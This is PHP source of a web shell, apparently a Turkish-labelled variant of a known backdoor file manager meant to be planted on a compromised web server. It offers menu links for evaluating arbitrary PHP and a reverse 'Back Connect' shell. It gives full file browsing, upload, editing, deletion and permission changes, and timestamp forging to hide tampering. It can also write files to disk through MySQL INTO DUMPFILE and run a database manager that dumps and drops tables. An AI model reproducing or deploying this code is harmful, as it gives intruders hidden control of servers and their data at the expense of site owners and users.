			<a href="javascript:goaction(\'eval\');"><FONT FACE="tahoma" color="#999999">    <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">Eval PHP Code</a>
				<?php if (!IS_WIN) {?> | <a href="javascript:goaction(\'backconnect\');"><FONT FACE="tahoma" color="#999999">    <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">Back Connect</a><?php }?>
		</td>
	</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php

formhead(array(\'name\'=>\'goaction\'));
makehide(\'action\');
formfoot();

$errmsg && m($errmsg);

// +&#1105;+&#1073;|#|#-++|
!$dir && $dir = \'.\';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != \'/\') {
	$dir = $dir.\'/\';
}
$uedir = ue($dir);

if (!$action || $action == \'file\') {

	// +-|-|--||&#1097;+&#1038;
	$dir_writeable = @is_writable($nowpath) ? \'Writable\' : \'Non-writable\';

	// ++| -+-+
	if ($doing == \'deldir\' && $thefile) {
		if (!file_exists($thefile)) {
			m($thefile.\' directory does not exist\');
		} else {
			m(\'Directory delete \'.(deltree($thefile) ? basename($thefile).\' success\' : \'failed\'));
		}
	}

	// ||+&#1080;-+-+
	elseif ($newdirname) {
		$mkdirs = $nowpath.$newdirname;
		if (file_exists($mkdirs)) {
			m(\'Directory has already existed\');
		} else {
			m(\'Directory created \'.(@mkdir($mkdirs,0777) ? \'success\' : \'failed\'));
			@chmod($mkdirs,0777);
		}
	}

	// +-|&#1083;+-+ 
	elseif ($doupfile) {
		m(\'File upload \'.(@copy($_FILES[\'uploadfile\'][\'tmp_name\'],$uploaddir.\'/\'.$_FILES[\'uploadfile\'][\'name\']) ? \'success\' : \'failed\'));
	}

	// #&#1088;+&#1085;+-+ 
	elseif ($editfilename && $filecontent) {
		$fp = @fopen($editfilename,\'w\');
		m(\'Save file \'.(@fwrite($fp,$filecontent) ? \'success\' : \'failed\'));
		@fclose($fp);
	}

	// #&#1088;+&#1085;+-+ -&#1031;-+
	elseif ($pfile && $newperm) {
		if (!file_exists($pfile)) {
			m(\'The original file does not exist\');
		} else {
			$newperm = base_convert($newperm,8,10);
			m(\'Modify file attributes \'.(@chmod($pfile,$newperm) ? \'success\' : \'failed\'));
		}
	}

	// +-| 
	elseif ($oldname && $newfilename) {
		$nname = $nowpath.$newfilename;
		if (file_exists($nname) || !file_exists($oldname)) {
			m($nname.\' has already existed or original file does not exist\');
		} else {
			m(basename($oldname).\' renamed \'.basename($nname).(@rename($oldname,$nname) ? \' success\' : \'failed\'));
		}
	}

	// +|+|+-+ 
	elseif ($sname && $tofile) {
		if (file_exists($tofile) || !file_exists($sname)) {
			m(\'The goal file has already existed or original file does not exist\');
		} else {
			m(basename($tofile).\' copied \'.(@copy($sname,$tofile) ? basename($tofile).\' success\' : \'failed\'));
		}
	}

	// +--&#1073;-#+&#1092;
	elseif ($curfile && $tarfile) {
		if (!@file_exists($curfile) || !@file_exists($tarfile)) {
			m(\'The goal file has already existed or original file does not exist\');
		} else {
			$time = @filemtime($tarfile);
			m(\'Modify file the last modified \'.(@touch($curfile,$time,$time) ? \'success\' : \'failed\'));
		}
	}

	// ++|&#1080;-&#1093;-#+&#1092;
	elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
		if (!@file_exists($curfile)) {
			m(basename($curfile).\' does not exist\');
		} else {
			$time = strtotime("$year-$month-$day $hour:$minute:$second");
			m(\'Modify file the last modified \'.(@touch($curfile,$time,$time) ? \'success\' : \'failed\'));
		}
	}

	// |&#1028;# --++
	elseif($doing == \'downrar\') {
		if ($dl) {
			$dfiles=\'\';
			foreach ($dl as $filepath => $value) {
				$dfiles.=$filepath.\',\';
			}
			$dfiles=substr($dfiles,0,strlen($dfiles)-1);
			$dl=explode(\',\',$dfiles);
			$zip=new PHPZip($dl);
			$code=$zip->out;
			header(\'Content-type: application/octet-stream\');
			header(\'Accept-Ranges: bytes\');
			header(\'Accept-Length: \'.strlen($code));
			header(\'Content-Disposition: attachment;filename=\'.$_SERVER[\'HTTP_HOST\'].\'_Files.tar.gz\');
			echo $code;
			exit;
		} else {
			m(\'Please select file(s)\');
		}
	}

	// + -+++| +-+ 
	elseif($doing == \'delfiles\') {
		if ($dl) {
			$dfiles=\'\';
			$succ = $fail = 0;
			foreach ($dl as $filepath => $value) {
				if (@unlink($filepath)) {
					$succ++;
				} else {
					$fail++;
				}
			}
			m(\'Deleted file have finished&#1075;&#1084;choose \'.count($dl).\' success \'.$succ.\' fail \'.$fail);
		} else {
			m(\'Please select file(s)\');
		}
	}

	//#++&#1118;-&#1098;#-
	formhead(array(\'name\'=>\'createdir\'));
	makehide(\'newdirname\');
	makehide(\'dir\',$nowpath);
	formfoot();
	formhead(array(\'name\'=>\'fileperm\'));
	makehide(\'newperm\');
	makehide(\'pfile\');
	makehide(\'dir\',$nowpath);
	formfoot();
	formhead(array(\'name\'=>\'copyfile\'));
	makehide(\'sname\');
	makehide(\'tofile\');
	makehide(\'dir\',$nowpath);
	formfoot();
	formhead(array(\'name\'=>\'rename\'));
	makehide(\'oldname\');
	makehide(\'newfilename\');
	makehide(\'dir\',$nowpath);
	formfoot();
	formhead(array(\'name\'=>\'fileopform\'));
	makehide(\'action\');
	makehide(\'opfile\');
	makehide(\'dir\');
	formfoot();

	$free = @disk_free_space($nowpath);
	!$free && $free = 0;
	$all = @disk_total_space($nowpath);
	!$all && $all = 0;
	$used = $all-$free;
	$used_percent = @round(100/($all/$free),2);
	p(\'<h2>File Manager - Current disk free \'.sizecount($free).\' of \'.sizecount($all).\' (\'.$used_percent.\'%)</h2>\');

?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  <form action="" method="post" id="godir" name="godir">
  <tr>
    <td nowrap>Bulundugun Dizin (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    <td nowrap><input class="bt" value="GO" type="submit"></td>
  </tr>
  </form>
</table>
<script type="text/javascript">
function createdir(){
	var newdirname;
	newdirname = prompt(\'Please input the directory name:\', \'\');
	if (!newdirname) return;
	$(\'createdir\').newdirname.value=newdirname;
	$(\'createdir\').submit();
}
function fileperm(pfile){
	var newperm;
	newperm = prompt(\'Current file:\'+pfile+\'\nPlease input new attribute:\', \'\');
	if (!newperm) return;
	$(\'fileperm\').newperm.value=newperm;
	$(\'fileperm\').pfile.value=pfile;
	$(\'fileperm\').submit();
}
function copyfile(sname){
	var tofile;
	tofile = prompt(\'Original file:\'+sname+\'\nPlease input object file (fullpath):\', \'\');
	if (!tofile) return;
	$(\'copyfile\').tofile.value=tofile;
	$(\'copyfile\').sname.value=sname;
	$(\'copyfile\').submit();
}
function rename(oldname){
	var newfilename;
	newfilename = prompt(\'Former file name:\'+oldname+\'\nPlease input new filename:\', \'\');
	if (!newfilename) return;
	$(\'rename\').newfilename.value=newfilename;
	$(\'rename\').oldname.value=oldname;
	$(\'rename\').submit();
}
function dofile(doing,thefile,m){
	if (m && !confirm(m)) {
		return;
	}
	$(\'filelist\').doing.value=doing;
	if (thefile){
		$(\'filelist\').thefile.value=thefile;
	}
	$(\'filelist\').submit();
}
function createfile(nowpath){
	var filename;
	filename = prompt(\'Please input the file name:\', \'\');
	if (!filename) return;
	opfile(\'editfile\',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
	$(\'fileopform\').action.value=action;
	$(\'fileopform\').opfile.value=opfile;
	$(\'fileopform\').dir.value=dir;
	$(\'fileopform\').submit();
}
function godir(dir,view_writable){
	if (view_writable) {
		$(\'godir\').view_writable.value=1;
	}
	$(\'godir\').dir.value=dir;
	$(\'godir\').submit();
}
</script>
  <?php
	tbhead();
	p(\'<form action="\'.$self.\'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">\');
	p(\'<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="\'.$dir.\'" type="hidden" /><input name="dir" value="\'.$dir.\'" type="hidden" /></div>\');
	p(\'<a href="javascript:godir(\\'\'.$_SERVER["DOCUMENT_ROOT"].\'\\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">WebRoot</a>\');
	if ($view_writable) {
		p(\' | <a href="javascript:godir(\\'\'.$nowpath.\'\\');">View All</a>\');
	} else {
		p(\' | <a href="javascript:godir(\\'\'.$nowpath.\'\\',\\'1\\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">View Writable</a>\');
	}
	p(\' | <a href="javascript:createdir();"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">Klasor Olustur</a> | <a href="javascript:createfile(\\'\'.$nowpath.\'\\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">Dosya Olustur</a>\');
	if (IS_WIN && IS_COM) {
		$obj = new COM(\'scripting.filesystemobject\');
		if ($obj && is_object($obj)) {
			$DriveTypeDB = array(0 => \'Unknow\',1 => \'Removable\',2 => \'Fixed\',3 => \'Network\',4 => \'CDRom\',5 => \'RAM Disk\');
			foreach($obj->Drives as $drive) {
				if ($drive->DriveType == 2) {
					p(\' | <a href="javascript:godir(\\'\'.$drive->Path.\'/\\');" title="Size:\'.sizecount($drive->TotalSize).\'&#13;Free:\'.sizecount($drive->FreeSpace).\'&#13;Type:\'.$DriveTypeDB[$drive->DriveType].\'">\'.$DriveTypeDB[$drive->DriveType].\'(\'.$drive->Path.\')</a>\');
				} else {
					p(\' | <a href="javascript:godir(\\'\'.$drive->Path.\'/\\');" title="Type:\'.$DriveTypeDB[$drive->DriveType].\'">\'.$DriveTypeDB[$drive->DriveType].\'(\'.$drive->Path.\')</a>\');
				}
			}
		}
	}

	p(\'</td></tr></form>\');

	p(\'<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>\');
    
	//#&#1097;+|- +-++-|+-+ |--+-+
	$dirdata=array();
	$filedata=array();

	if ($view_writable) {
		$dirdata = GetList($nowpath);
	} else {
		// -+-+--#&#1101;
		$dirs=@opendir($dir);
		while ($file=@readdir($dirs)) {
			$filepath=$nowpath.$file;
			if(@is_dir($filepath)){
				$dirdb[\'filename\']=$file;
				$dirdb[\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($filepath));
				$dirdb[\'dirchmod\']=getChmod($filepath);
				$dirdb[\'dirperm\']=getPerms($filepath);
				$dirdb[\'fileowner\']=getUser($filepath);
				$dirdb[\'dirlink\']=$nowpath;
				$dirdb[\'server_link\']=$filepath;
				$dirdb[\'client_link\']=ue($filepath);
				$dirdata[]=$dirdb;
			} else {
				$filedb[\'filename\']=$file;
				$filedb[\'size\']=sizecount(@filesize($filepath));
				$filedb[\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($filepath));
				$filedb[\'filechmod\']=getChmod($filepath);
				$filedb[\'fileperm\']=getPerms($filepath);
				$filedb[\'fileowner\']=getUser($filepath);
				$filedb[\'dirlink\']=$nowpath;
				$filedb[\'server_link\']=$filepath;
				$filedb[\'client_link\']=ue($filepath);
				$filedata[]=$filedb;
			}
		}// while
		unset($dirdb);
		unset($filedb);
		@closedir($dirs);
	}
	@sort($dirdata);
	@sort($filedata);
	$dir_i = \'0\';
	foreach($dirdata as $key => $dirdb){
		if($dirdb[\'filename\']!=\'..\' && $dirdb[\'filename\']!=\'.\') {
			$thisbg = bg();
			p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
			p(\'<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>\');
			p(\'<td><a href="javascript:godir(\\'\'.$dirdb[\'server_link\'].\'\\');">\'.$dirdb[\'filename\'].\'</a></td>\');
			p(\'<td nowrap>\'.$dirdb[\'mtime\'].\'</td>\');
			p(\'<td nowrap>--</td>\');
			p(\'<td nowrap>\');
			p(\'<a href="javascript:fileperm(\\'\'.$dirdb[\'server_link\'].\'\\');">\'.$dirdb[\'dirchmod\'].\'</a> / \');
			p(\'<a href="javascript:fileperm(\\'\'.$dirdb[\'server_link\'].\'\\');">\'.$dirdb[\'dirperm\'].\'</a>\'.$dirdb[\'fileowner\'].\'</td>\');
			p(\'<td nowrap><a href="javascript:dofile(\\'deldir\\',\\'\'.$dirdb[\'server_link\'].\'\\',\\'Are you sure will delete \'.$dirdb[\'filename\'].\'? \\n\\nIf non-empty directory, will be delete all the files.\\')">Del</a> | <a href="javascript:rename(\\'\'.$dirdb[\'server_link\'].\'\\');">Rename</a></td>\');
			p(\'</tr>\');
			$dir_i++;
		} else {
			if($dirdb[\'filename\']==\'..\') {
				p(\'<tr class=\'.bg().\'>\');
				p(\'<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\\'\'.getUpPath($nowpath).\'\\');"><FONT FACE="tahoma" color="#999999"> <left><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=red>Parent Directory</a></td>\');
				p(\'</tr>\');
			}
		}
	}

	p(\'<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>\');
	p(\'<form id="filelist" name="filelist" action="\'.$self.\'" method="post">\');
	makehide(\'action\',\'file\');
	makehide(\'thefile\');
	makehide(\'doing\');
	makehide(\'dir\',$nowpath);
	$file_i = \'0\';
	foreach($filedata as $key => $filedb){
		if($filedb[\'<FONT FACE="tahoma" color="#999999">    <left><br></span><span style="font-weight:bold; text-shadow:lightsteelblue 0px 0px 8px; color:darkslateblue"><font color=red>filename\']!=\'..\' && $filedb[\'filename\']!=\'.\') {
			$fileurl = str_replace(SA_ROOT,\'\',$filedb[\'server_link\']);
			$thisbg = bg();
			p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
			p(\'<td width="2%" nowrap><input type="checkbox" value="1" name="dl[\'.$filedb[\'server_link\'].\']"></td>\');
			p(\'<td><a href="\'.$fileurl.\'" target="_blank">\'.$filedb[\'filename\'].\'</a></td>\');
			p(\'<td nowrap>\'.$filedb[\'mtime\'].\'</td>\');
			p(\'<td nowrap>\'.$filedb[\'size\'].\'</td>\');
			p(\'<td nowrap>\');
			p(\'<a href="javascript:fileperm(\\'\'.$filedb[\'server_link\'].\'\\');">\'.$filedb[\'filechmod\'].\'</a> / \');
			p(\'<a href="javascript:fileperm(\\'\'.$filedb[\'server_link\'].\'\\');">\'.$filedb[\'fileperm\'].\'</a>\'.$filedb[\'fileowner\'].\'</td>\');
			p(\'<td nowrap>\');
			p(\'<a href="javascript:dofile(\\'downfile\\',\\'\'.$filedb[\'server_link\'].\'\\');">Down</a> | \');
			p(\'<a href="javascript:copyfile(\\'\'.$filedb[\'server_link\'].\'\\');">Copy</a> | \');
			p(\'<a href="javascript:opfile(\\'editfile\\',\\'\'.$filedb[\'server_link\'].\'\\',\\'\'.$filedb[\'dirlink\'].\'\\');">Edit</a> | \');
			p(\'<a href="javascript:rename(\\'\'.$filedb[\'server_link\'].\'\\');">Rename</a> | \');
			p(\'<a href="javascript:opfile(\\'newtime\\',\\'\'.$filedb[\'server_link\'].\'\\',\\'\'.$filedb[\'dirlink\'].\'\\');">Time</a>\');
			p(\'</td></tr>\');
			$file_i++;
		}
	}
	p(\'<tr class="\'.bg().\'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\\'downrar\\');">Packing download selected</a> - <a href="javascript:dofile(\\'delfiles\\');">Delete selected</a></td><td colspan="4" align="right">\'.$dir_i.\' directories / \'.$file_i.\' files</td></tr>\');
	p(\'</form></table>\');
}// end dir

elseif ($action == \'sqlfile\') {
	if($doing=="mysqlupload"){
		$file = $_FILES[\'uploadfile\'];
		$filename = $file[\'tmp_name\'];
		if (file_exists($savepath)) {
			m(\'The goal file has already existed\');
		} else {
			if(!$filename) {
				m(\'Please choose a file\');
			} else {
				$fp=@fopen($filename,\'r\');
				$contents=@fread($fp, filesize($filename));
				@fclose($fp);
				$contents = bin2hex($contents);
				if(!$upname) $upname = $file[\'name\'];
				dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
				$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE \'$savepath\';");
				m($result ? \'Upload success\' : \'Upload has failed: \'.mysql_error());
			}
		}
	}
?>
<script type="text/javascript">
function mysqlfile(doing){
	if(!doing) return;
	$(\'doing\').value=doing;
	$(\'mysqlfile\').dbhost.value=$(\'dbinfo\').dbhost.value;
	$(\'mysqlfile\').dbport.value=$(\'dbinfo\').dbport.value;
	$(\'mysqlfile\').dbuser.value=$(\'dbinfo\').dbuser.value;
	$(\'mysqlfile\').dbpass.value=$(\'dbinfo\').dbpass.value;
	$(\'mysqlfile\').dbname.value=$(\'dbinfo\').dbname.value;
	$(\'mysqlfile\').charset.value=$(\'dbinfo\').charset.value;
	$(\'mysqlfile\').submit();
}
</script>
<?php
	!$dbhost && $dbhost = \'localhost\';
	!$dbuser && $dbuser = \'root\';
	!$dbport && $dbport = \'3306\';
	$charsets = array(\'\'=>\'Default\',\'gbk\'=>\'GBK\', \'big5\'=>\'Big5\', \'utf8\'=>\'UTF-8\', \'latin1\'=>\'Latin1\');
	formhead(array(\'title\'=>\'MYSQL Information\',\'name\'=>\'dbinfo\'));
	makehide(\'action\',\'sqlfile\');
	p(\'<p>\');
	p(\'DBHost:\');
	makeinput(array(\'name\'=>\'dbhost\',\'size\'=>20,\'value\'=>$dbhost));
	p(\':\');
	makeinput(array(\'name\'=>\'dbport\',\'size\'=>4,\'value\'=>$dbport));
	p(\'DBUser:\');
	makeinput(array(\'name\'=>\'dbuser\',\'size\'=>15,\'value\'=>$dbuser));
	p(\'DBPass:\');
	makeinput(array(\'name\'=>\'dbpass\',\'size\'=>15,\'value\'=>$dbpass));
	p(\'DBName:\');
	makeinput(array(\'name\'=>\'dbname\',\'size\'=>15,\'value\'=>$dbname));
	p(\'DBCharset:\');
	makeselect(array(\'name\'=>\'charset\',\'option\'=>$charsets,\'selected\'=>$charset));
	p(\'</p>\');
	formfoot();
	p(\'<form action="\'.$self.\'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">\');
	p(\'<h2>Upload file</h2>\');
	p(\'<p><b>This operation the DB user must has FILE privilege</b></p>\');
	p(\'<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\\'mysqlupload\\');">Upload</a></p>\');
	p(\'<h2>Download file</h2>\');
	p(\'<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\\'mysqldown\\');">Download</a></p>\');
	makehide(\'dbhost\');
	makehide(\'dbport\');
	makehide(\'dbuser\');
	makehide(\'dbpass\');
	makehide(\'dbname\');
	makehide(\'charset\');
	makehide(\'doing\');
	makehide(\'action\',\'sqlfile\');
	p(\'</form>\');
}

elseif ($action == \'sqladmin\') {
	!$dbhost && $dbhost = \'localhost\';
	!$dbuser && $dbuser = \'root\';
	!$dbport && $dbport = \'3306\';
	$dbform = \'<input type="hidden" id="connect" name="connect" value="1" />\';
	if(isset($dbhost)){
		$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
	}
	if(isset($dbuser)) {
		$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
	}
	if(isset($dbpass)) {
		$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
	}
	if(isset($dbport)) {
		$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
	}
	if(isset($dbname)) {
		$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
	}
	if(isset($charset)) {
		$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
	}

	if ($doing == \'backupmysql\' && $saveasfile) {
		if (!$table) {
			m(\'Please choose the table\');
		} else {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			$table = array_flip($table);
			$fp = @fopen($path,\'w\');
			if ($fp) {
				$result = q(\'SHOW tables\');
				if (!$result) p(\'<h2>\'.mysql_error().\'</h2>\');
				$mysqldata = \'\';
				while ($currow = mysql_fetch_array($result)) {
					if (isset($table[$currow[0]])) {
						sqldumptable($currow[0], $fp);
					}
				}
				fclose($fp);
				$fileurl = str_replace(SA_ROOT,\'\',$path);
				m(\'Database has success backup to <a href="\'.$fileurl.\'" target="_blank">\'.$path.\'</a>\');
				mysql_close();
			} else {
				m(\'Backup failed\');
			}
		}
	}
	if ($insert && $insertsql) {
		$keystr = $valstr = $tmp = \'\';
		foreach($insertsql as $key => $val) {
			if ($val) {
				$keystr .= $tmp.$key;
				$valstr .= $tmp."\'".addslashes($val)."\'";
				$tmp = \',\';
			}
		}
		if ($keystr && $valstr) {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? \'Insert new record of success\' : mysql_error());
		}
	}
	if ($update && $insertsql && $base64) {
		$valstr = $tmp = \'\';
		foreach($insertsql as $key => $val) {
			$valstr .= $tmp.$key."=\'".addslashes($val)."\'";
			$tmp = \',\';
		}
		if ($valstr) {
			$where = base64_decode($base64);
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? \'Record updating\' : mysql_error());
		}
	}
	if ($doing == \'del\' && $base64) {
		$where = base64_decode($base64);
		$delete_sql = "DELETE FROM $tablename WHERE $where";
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		m(q("DELETE FROM $tablename WHERE $where") ? \'Deletion record of success\' : mysql_error());
	}

	if ($tablename && $doing == \'drop\') {
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		if (q("DROP TABLE $tablename")) {
			m(\'Drop table of success\');
			$tablename = \'\';
		} else {
			m(mysql_error());
		}
	}

	$charsets = array(\'\'=>\'Default\',\'gbk\'=>\'GBK\', \'big5\'=>\'Big5\', \'utf8\'=>\'UTF-8\', \'latin1\'=>\'Latin1\');

	formhead(array(\'title\'=>\'MYSQL Manager\'));
	makehide(\'action\',\'sqladmin\');
	p(\'<p>\');
	p(\'DBHost:\');
	makeinput(array(\'name\'=>\'dbhost\',\'size\'=>20,\'value\'=>$dbhost));
	p(\':\');
	makeinput(array(\'name\'=>\'dbport\',\'size\'=>4,\'value\'=>$dbport));
	p(\'DBUser:\');
	makeinput(array(\'name\'=>\'dbuser\',\'size\'=>15,\'value\'=>$dbuser));
	p(\'DBPass:\');
	makeinput(array(\'name\'=>\'dbpass\',\'size\'=>15,\'value\'=>$dbpass));
	p(\'DBCharset:\');
	makeselect(array(\'name\'=>\'charset\',\'option\'=>$charsets,\'selected\'=>$charset));
	makeinput(array(\'name\'=>\'connect\',\'value\'=>\'Connect\',\'type\'=>\'submit\',\'class\'=>\'bt\'));
	p(\'</p>\');
	formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
	if (action == \'del\') {
		if (!confirm(\'Is or isn\\'t deletion record?\')) return;
	}
	$(\'recordlist\').doing.value=action;
	$(\'recordlist\').base64.value=base64;
	$(\'recordlist\').tablename.value=tablename;
	$(\'recordlist\').submit();
}
function moddbname(dbname) {
	if(!dbname) return;
	$(\'setdbname\').dbname.value=dbname;
	$(\'setdbname\').submit();
}
function settable(tablename,doing,page) {
	if(!tablename) return;
	if (doing) {
		$(\'settable\').doing.value=doing;
	}
	if (page) {
		$(\'settable\').page.value=page;
	}
	$(\'settable\').tablename.value=tablename;
	$(\'settable\').submit();
}
</script>
<?php
	//#++&#1118;+|-+
	formhead(array(\'name\'=>\'recordlist\'));
	makehide(\'doing\');
	makehide(\'action\',\'sqladmin\');
	makehide(\'base64\');
	makehide(\'tablename\');
	p($dbform);
	formfoot();

	//-&#1073;|&#1080;- +|+&#1090;
	formhead(array(\'name\'=>\'setdbname\'));
	makehide(\'action\',\'sqladmin\');
	p($dbform);
	if (!$dbname) {
		makehide(\'dbname\');
	}
	formfoot();

	//-&#1073;|&#1080;#&#1101;
	formhead(array(\'name\'=>\'settable\'));
	makehide(\'action\',\'sqladmin\');
	p($dbform);
	makehide(\'tablename\');
	makehide(\'page\',$page);
	makehide(\'doing\');
	formfoot();

	$cachetables = array();
	$pagenum = 30;
	$page = intval($page);
	if($page) {
		$start_limit = ($page - 1) * $pagenum;
	} else {
		$start_limit = 0;
		$page = 1;
	}
	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		//+&#1105;+&#1073;- +|+&#1090;-+-&#1074;
		$mysqlver = mysql_get_server_info();
		p(\'<p>MySQL \'.$mysqlver.\' running in \'.$dbhost.\' as \'.$dbuser.\'@\'.$dbhost.\'</p>\');
		$highver = $mysqlver > \'4.1\' ? 1 : 0;

		//+&#1105;+&#1073;- +|+&#1090;
		$query = q("SHOW DATABASES");
		$dbs = array();
		$dbs[] = \'-- Select a database --\';
		while($db = mysql_fetch_array($query)) {
			$dbs[$db[\'Database\']] = $db[\'Database\'];
		}
		makeselect(array(\'title\'=>\'Please select a database:\',\'name\'=>\'db[]\',\'option\'=>$dbs,\'selected\'=>$dbname,\'onchange\'=>\'moddbname(this.options[this.selectedIndex].value)\',\'newline\'=>1));
		$tabledb = array();
		if ($dbname) {
			p(\'<p>\');
			p(\'Current dababase: <a href="javascript:moddbname(\\'\'.$dbname.\'\\');">\'.$dbname.\'</a>\');
			if ($tablename) {
				p(\' | Current Table: <a href="javascript:settable(\\'\'.$tablename.\'\\');">\'.$tablename.\'</a> [ <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'insert\\');">Insert</a> | <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'structure\\');">Structure</a> | <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'drop\\');">Drop</a> ]\');
			}
			p(\'</p>\');
			mysql_select_db($dbname);

			$getnumsql = \'\';
			$runquery = 0;
			if ($sql_query) {
				$runquery = 1;
			}
			$allowedit = 0;
			if ($tablename && !$sql_query) {
				$sql_query = "SELECT * FROM $tablename";
				$getnumsql = $sql_query;
				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
				$allowedit = 1;
			}
			p(\'<form action="\'.$self.\'" method="POST">\');
			p(\'<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database \'.$dbname.\':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">\'.htmlspecialchars($sql_query,ENT_QUOTES).\'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>\');
			makehide(\'tablename\', $tablename);
			makehide(\'action\',\'sqladmin\');
			p($dbform);
			p(\'</form>\');
			if ($tablename || ($runquery && $sql_query)) {
				if ($doing == \'structure\') {
					$result = q("SHOW COLUMNS FROM $tablename");
					$rowdb = array();
					while($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					p(\'<table border="0" cellpadding="3" cellspacing="0">\');
					p(\'<tr class="head">\');
					p(\'<td>Field</td>\');
					p(\'<td>Type</td>\');
					p(\'<td>Null</td>\');
					p(\'<td>Key</td>\');
					p(\'<td>Default</td>\');
					p(\'<td>Extra</td>\');
					p(\'</tr>\');
					foreach ($rowdb as $row) {
						$thisbg = bg();
						p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
						p(\'<td>\'.$row[\'Field\'].\'</td>\');
						p(\'<td>\'.$row[\'Type\'].\'</td>\');
						p(\'<td>\'.$row[\'Null\'].\'&nbsp;</td>\');
						p(\'<td>\'.$row[\'Key\'].\'&nbsp;</td>\');
						p(\'<td>\'.$row[\'Default\'].\'&nbsp;</td>\');
						p(\'<td>\'.$row[\'Extra\'].\'&nbsp;</td>\');
						p(\'</tr>\');
					}
					tbfoot();
				} elseif ($doing == \'insert\' || $doing == \'edit\') {
					$result = q(\'SHOW COLUMNS FROM \'.$tablename);
					while ($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					$rs = array();
					if ($doing == \'insert\') {
						p(\'<h2>Insert new line in \'.$tablename.\' table &raquo;</h2>\');
					} else {
						p(\'<h2>Update record in \'.$tablename.\' table &raquo;</h2>\');
						$where = base64_decode($base64);
						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
						$rs = mysql_fetch_array($result);
					}
					p(\'<form method="post" action="\'.$self.\'">\');
					p($dbform);
					makehide(\'action\',\'sqladmin\');
					makehide(\'tablename\',$tablename);
					p(\'<table border="0" cellpadding="3" cellspacing="0">\');
					foreach ($rowdb as $row) {
						if ($rs[$row[\'Field\']]) {
							$value = htmlspecialchars($rs[$row[\'Field\']]);
						} else {
							$value = \'\';
						}
